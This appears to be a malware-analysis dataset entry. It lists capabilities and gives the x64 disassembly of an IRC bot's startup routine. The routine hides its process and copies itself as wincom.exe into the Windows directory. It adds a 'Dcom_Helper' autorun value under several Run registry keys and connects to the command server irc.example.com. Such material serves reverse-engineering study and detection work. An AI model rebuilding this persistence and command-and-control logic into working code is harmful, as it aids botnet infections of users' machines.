Function at 0x140006430
Capabilities:
Copy file
Create http request
Get common file path
Initialize winsock library
Persist via run registry key
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
mov qword [rax + 0x20], r13
push rbp
push r14
push r15
lea rbp, [rax - 0x5f8]
sub rsp, 0x6e0
mov rax, qword [0x140096900]
xor rax, rsp
mov qword [rbp + 0x5d0], rax
xor r12d, r12d
mov edi, r12d
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
shr edx, 6
mov dword [0x1400f51b4], edx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.14004ef24
call fcn.14004eef8
lea rcx, str.kernel32.dll
mov dword [0x1400dfff4], r12d
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x1400064d5
lea rdx, str.RegisterServiceProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400e0008], rax
test rax, rax
je 0x1400064d5
lea edx, [r12 + 1]
xor ecx, ecx
call rax
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
lea rcx, str.Mozilla_4.0__compatible_
xor edx, edx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [0x140098818], rax
test rax, rax
jne 0x140006502
mov qword [0x140098818], r12
lea rcx, str.WININET.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x14000654d
lea rdx, str.InternetGetConnectedState
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.InternetGetConnectedStateEx
mov rcx, rbx
mov qword [0x1400e0000], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400dfff8], rax
test rax, rax
mov eax, r12d
jne 0x140006552
mov eax, 1
xor ecx, ecx
mov dword [0x1400f51ac], eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r14d, 0x100
lea rdx, [rbp + 0x2c0]
mov rcx, rax
mov r8d, r14d
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rbx, str.wincom.exe
mov r9, rbx
lea r8, [rbp + 0x1c0]
lea rdx, str._s_s
lea rcx, [rbp + 0x4c0]
call fcn.140001e18
lea rdx, [0x1400e50d0]
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea r8, str.null
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r15d, [r14 - 0x49]
jmp 0x1400065db
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, r15d
je 0x1400065ca
mov ecx, 0x202
lea rdx, [rbp - 0x20]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140006a49
movzx eax, word [rbp - 0x20]
cmp al, 2
jne 0x140006a43
shr ax, 8
cmp al, 2
jne 0x140006a43
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.14004ef24
cmp dword [0x1400dfee0], r12d
mov r13d, 0x3f
je 0x140006635
mov rcx, rbx
call fcn.1400063c4
jmp 0x140006647
mov r8, r13
lea rcx, [rbp + 0x180]
mov rdx, rbx
call fcn.14004f010
mov edx, r14d
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x2c0]
call fcn.14000af90
test rax, rax
jne 0x14000673d
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rbp + 0x180]
lea rdx, [0x14007ef34]
lea rcx, [rbp + 0x3c0]
call fcn.140001e18
jmp 0x1400066a5
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x1c0]
call fcn.140054720
xor r8d, r8d
lea rcx, [rbp + 0x2c0]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x14000669a
mov ebx, 0x68
lea rcx, [rsp + 0x70]
mov r8d, ebx
xor edx, edx
call fcn.14007c4e0
mov dword [rsp + 0x70], ebx
mov word [rbp - 0x50], r12w
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rax, [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x1c0]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x28
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140006a7b
cmp dword [reloc.WS2_32.dll_accept], r12d
je 0x14000689e
mov qword [rsp + 0x40], r12
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov qword [rsp + 0x30], r12
mov r15d, 0xf003f
mov rbx, 0xffffffff80000002
mov dword [rsp + 0x28], r15d
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x180]
mov r14d, reloc.WS2_32.dll_inet_ntoa
lea rdx, str.Dcom_Helper
mov dword [rsp + 0x28], r14d
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea r9d, [r14 - 0xb]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x40], r12
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRunServices
mov qword [rsp + 0x30], r12
xor r9d, r9d
mov dword [rsp + 0x28], r15d
xor r8d, r8d
mov rcx, rbx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x180]
lea ebx, [r14 - 0xb]
mov dword [rsp + 0x28], r14d
mov r9d, ebx
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.Dcom_Helper
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x40], r12
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov qword [rsp + 0x30], r12
xor r9d, r9d
mov dword [rsp + 0x28], r15d
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x20], r12d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x180]
mov dword [rsp + 0x28], r14d
lea rdx, str.Dcom_Helper
mov r9d, ebx
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edx, edx
lea rcx, [0x1400e0130]
mov r8d, 0x400
call fcn.14007c4e0
xor edx, edx
lea rcx, [0x1400e4540]
mov r8d, 0xb80
call fcn.14007c4e0
xor r8d, r8d
lea rcx, str.Bot_started.
xor edx, edx
call fcn.140007f24
xor edx, edx
lea rcx, [0x1400e0530]
mov r8d, 0x4000
call fcn.14007c4e0
mov r15d, 0x7f
lea r14, [0x1400e0010]
mov r8d, r15d
lea rdx, str.irc.example.com
mov rcx, r14
call fcn.14004f010
mov eax, dword [0x140095560]
lea rdx, [0x140095510]
mov r8, r13
mov dword [0x1400e0090], eax
lea rcx, [0x1400e0094]
call fcn.14004f010
mov r8, r13
lea rdx, [0x140098817]
lea rcx, [0x1400e00d4]
call fcn.14004f010
mov ebx, r12d
mov rcx, r14
call fcn.140003d1c
mov dword [0x1400e50c0], r12d
cmp eax, 2
je 0x140006a23
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 6
jl 0x140006945
test edi, edi
je 0x1400069c2
mov r8, r15
lea rdx, str.irc.example.com
mov rcx, r14
call fcn.14004f010
mov eax, dword [0x140095560]
lea rdx, [0x140095510]
mov r8, r13
mov dword [0x1400e0090], eax
lea rcx, [0x1400e0094]
call fcn.14004f010
mov r8, r13
lea rdx, [0x140098817]
lea rcx, [0x1400e00d4]
call fcn.14004f010
mov edi, r12d
jmp 0x140006942
cmp byte [0x140098820], r12b
je 0x140006942
mov r8, r15
lea rdx, [0x140098820]
mov rcx, r14
call fcn.14004f010
mov eax, dword [0x140095564]
lea rdx, [0x140098821]
mov r8, r13
mov dword [0x1400e0090], eax
lea rcx, [0x1400e0094]
call fcn.14004f010
mov r8, r13
lea rdx, [0x140098822]
lea rcx, [0x1400e00d4]
call fcn.14004f010
mov edi, 1
jmp 0x140006942
lea rbx, [0x140098830]
lea rdi, [0x140098a30]
mov rcx, qword [rbx]
call qword [sym.imp.WS2_32.dll_closesocket]
add rbx, 8
cmp rbx, rdi
jl 0x140006a31
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov rcx, qword [rbp + 0x5d0]
xor rcx, rsp
call fcn.140009690
lea r11, [rsp + 0x6e0]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov r12, qword [r11 + 0x30]
mov r13, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
xor ecx, ecx
call fcn.14004fc08
int3